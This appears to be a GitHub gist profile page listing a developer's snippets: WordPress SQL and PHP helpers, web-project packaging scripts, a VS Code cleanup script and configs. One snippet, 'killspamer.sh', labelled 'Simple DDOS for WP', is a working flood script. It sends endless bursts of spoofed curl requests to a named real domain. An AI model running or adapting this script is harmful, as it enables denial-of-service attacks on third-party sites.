Skip to content

Instantly share code, notes, and snippets.

Avatar
🎯
Focusing

Konrad fedek6

🎯
Focusing
View GitHub Profile
View export_tags.sql
SELECT wp_terms.`term_id` AS TagID, wp_terms.`name` AS TagName, SUM( tax.`count` ) AS TagPostCount
FROM `wp_terms`
INNER JOIN wp_term_taxonomy tax ON tax.term_id = wp_terms.term_id
GROUP BY wp_terms.`term_id`;
@fedek6
fedek6 / killspamer.sh
Created May 6, 2021
Simple DDOS for WP
View killspamer.sh
#!/bin/bash
while :
do
echo "Press [CTRL+C] to stop..."
URL=$(cat /dev/urandom | env LC_CTYPE=C tr -dc a-zA-Z0-9 | head -c 16; echo)
for i in {1..100}
do
curl https://goldenliine.pl/?s=$URL --max-time 2 -H "User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.89 Safari/537.36" &> /dev/null &
curl https://goldenliine.pl/movies/$URL --max-time 2 -H "User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.89 Safari/537.36" &> /dev/null &
@fedek6
fedek6 / clean-vsc.sh
Created Apr 8, 2021
Clean Visual Studio Code settings (macOS)
View clean-vsc.sh
#!/bin/sh
rm -rfv "$HOME/.vscode"
rm -rfv "$HOME/Library/Application Support/Code"
rm -rfv "$HOME/Library/Caches/com.microsoft.VSCode"
rm -rfv "$HOME/Library/Saved Application State/com.microsoft.VSCode.savedState"
# Thanks goes to offby1 from stackoverflow!
@fedek6
fedek6 / synergy.conf
Created Mar 9, 2021
Synergy config for Linux -> macOS hosting (fix for altgr error)
View synergy.conf
section: screens
Fabryka:
halfDuplexCapsLock = false
halfDuplexNumLock = false
halfDuplexScrollLock = false
xtestIsXineramaUnaware = false
switchCorners = none
switchCornerSize = 0
Konrads-MacBook-Pro.local:
halfDuplexCapsLock = false
@fedek6
fedek6 / opcache-preload.php
Created Oct 30, 2020
Working WordPress opcache preloading config
View opcache-preload.php
<?php
/**
* WordPress opcache preloading.
* Requires PHP >= 7.4.
*
* @author Konrad Fedorczyk <contact@realhe.ro>
* @link https://stitcher.io/blog/preloading-in-php-74
*
* @version 1.0.0
*/
@fedek6
fedek6 / between_dates.php
Created Jul 22, 2019
Do something between exact two dates in PHP
View between_dates.php
<?php
$showDate = "2019-07-16 20:00:00.0";
$hideDate = "2019-07-22 20:00:00.0";
$timezone = new DateTimeZone('Europe/Warsaw');
$now = new DateTime();
$now->setTimezone($timezone);
// If in timeframe
if( $now > new DateTime($showDate, $timezone) && $now < new DateTime($hideDate, $timezone) ) {
do_something();
@fedek6
fedek6 / zippacker.sh
Created Jun 24, 2019
Packer for web projects. It will pack public dir in current path. Archive name will include info from package.json.
View zippacker.sh
#!/bin/sh
# Extract JSON value
parse_json () {
echo $1 | \
sed -e 's/[{}]/''/g' | \
sed -e 's/", "/'\",\"'/g' | \
sed -e 's/" ,"/'\",\"'/g' | \
sed -e 's/" , "/'\",\"'/g' | \
sed -e 's/","/'\"---SEPERATOR---\"'/g' | \
@fedek6
fedek6 / page-test.php
Created Jun 7, 2019
szablon testowy WP
View page-test.php
<?php
/*
* Template Name: Szablon testowy
*/
// taka prościzna do mierzenia czasu wykonania
function timeTook($start, $task = '') {
$execution_time = round( (microtime(true) - $start), 2);
return '<h4>Zadanie: <em>' . $task . '</em> zajęło: ' . $execution_time . ' sekund(y)</h4>';
}
@fedek6
fedek6 / selfpacker.sh
Created Dec 21, 2018
Packager for web projects on nix systems.
View selfpacker.sh
#!/bin/sh
# Extract JSON value
parse_json () {
echo $1 | \
sed -e 's/[{}]/''/g' | \
sed -e 's/", "/'\",\"'/g' | \
sed -e 's/" ,"/'\",\"'/g' | \
sed -e 's/" , "/'\",\"'/g' | \
sed -e 's/","/'\"---SEPERATOR---\"'/g' | \
@fedek6
fedek6 / Controller.php
Created Dec 3, 2018
Prepend application name to site title in Yii2
View Controller.php
<?php
/**
* Extension of base controller.
* Add additional controller functions and vars here.
*/
namespace app\components;
use Yii;